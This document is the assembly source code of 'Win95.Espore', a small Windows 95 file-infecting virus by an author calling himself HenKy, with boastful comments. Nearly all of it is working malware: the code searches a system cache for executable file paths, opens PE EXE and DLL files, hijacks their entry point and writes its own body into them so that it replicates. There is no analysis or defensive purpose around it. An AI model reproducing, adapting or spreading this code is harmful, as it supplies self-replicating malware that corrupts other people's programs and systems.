Virus.Win95.Espore - Source Code

;----------------------------  W95 ESPORE BY HenKy -----------------------------
;
;-AUTHOR:        HenKy
;
;-MAIL:          HenKy_@latinmail.com
;
;-ORIGIN:        SPAIN
;

 ; WOW!!!!   140 BYTES !!!! AND 100% RING 3 !!!! (ONLY WINDOZE 9X CAN SUPPORT IT)

 ; OF COURSE MIDFILE AND NO GROWING CAVITY TECH

 ; IT SEARCHS FILENAMES INTO CACHE (AND PARASITE THEM) :-)


 ; THE 0C1000000H ADDRESS IS USED AS BUFFER BECOZ WE HAVE WRITE/READ

 ; PRIVILEGES

 ; THE BFF712B9h ADDRESS IS THE CALL VINT21

 ; THE INITIAL EDX VALUE POINTS TO A 28KB CACHE BUFFER WICH CONTAINS SEVERAL

 ; FILENAMES WITH COMPLETE PATH (ONLY PE EXE/DLL )

.386P
.MODEL FLAT
LOCALS

EXTRN    ExitProcess:PROC
MIX_SIZ  EQU  (FILE_END - MEGAMIX)

MACROSIZE   MACRO
            DB      MIX_SIZ/00100 mod 10 + "0"
            DB      MIX_SIZ/00010 mod 10 + "0"
            DB      MIX_SIZ/00001 mod 10 + "0"
            ENDM
.DATA
        DB 'BIEN PEKE?O BIEN... LIKE AN ESPORE... HEHEHE',0
        DB ' W9X ESPORE SIZE = '
        MACROSIZE

.CODE

MEGAMIX: ; EDX: BUFFER
         ; EAX: EIP
         ; ECX: BUFFER

VINT21:
        DD 0BFF712B9h   ; MOV ECX,048BFF71H  ;-) Z0MBiE
        DB 'H'          ; HenKy ;P
        XCHG EDI, EAX   ; EDI: DELTA
        MOV  ESI,0C1000000H  ; ESI: BUFFER
        MOV  EBP,EDI    ; NOW: EBP=EDI=DELTA=INT21H

        ;EDX: POINTER TO FNAME

        MOV ECX,28500 ; LIMIT
PORK:
        INC EDX
        CMP WORD PTR [EDX],':C'
        JE KAA
        LOOP PORK
OK:
        PUSH 00401000H
        OLD_EIP EQU $-4
WARNING:
        RET
KAA:
        MOV AX, 3D02h
        CALL [EDI]
        XCHG EBX, EAX
        PUSHAD    ; SAVE ECX,EBX,EDX,EBP,EDI
        CALL PHECT
        POPAD
        MOV AH, 3Eh
        CALL [EDI]
        JMP PORK

PHECT:

        XOR ECX,ECX
        MOV EDX, ESI
        MOV AH, 3Fh
        CALL R_W
        MOV ECX, [ESI+3Ch]
        LEA EAX, [ESI+ECX]
        CMP BYTE PTR [EAX], "P"
        JNE WARNING
        MOV ECX,[EAX+28H]
        CMP ECX, 1024
        JB WARNING
        PUSH EBP
        ADD ECX,[EAX+34H]
        MOV [EBP+OLD_EIP-MEGAMIX],ECX
        MOV EDI,EAX

PORRO:
        INC EDI
        CMP BYTE PTR [EDI],'B' ; hehehehe
        JNE PORRO
        INC EDI
        SUB EDI,ESI
        MOV EDX,EDI
        XCHG DWORD PTR [EAX+28h], EDI
        LEA EDI, [ESI+EDX]
        PUSH MIX_SIZ/4
        POP ECX
        POP EAX
        PUSH EAX
        XCHG ESI,EAX
        REP MOVSD
        POP EDI
        MOV EDX, EAX
W:
        MOV AH, 40h
R_W:
        PUSHAD
        XOR EAX,EAX
        MOV AH, 42h
        CDQ
        CALL [EDI]
        POPAD
        MOV CH, 4h
        CALL [EDI]
        RET

ALIGN 4
FILE_END:

        PUSH 0
        CALL ExitProcess

END MEGAMIX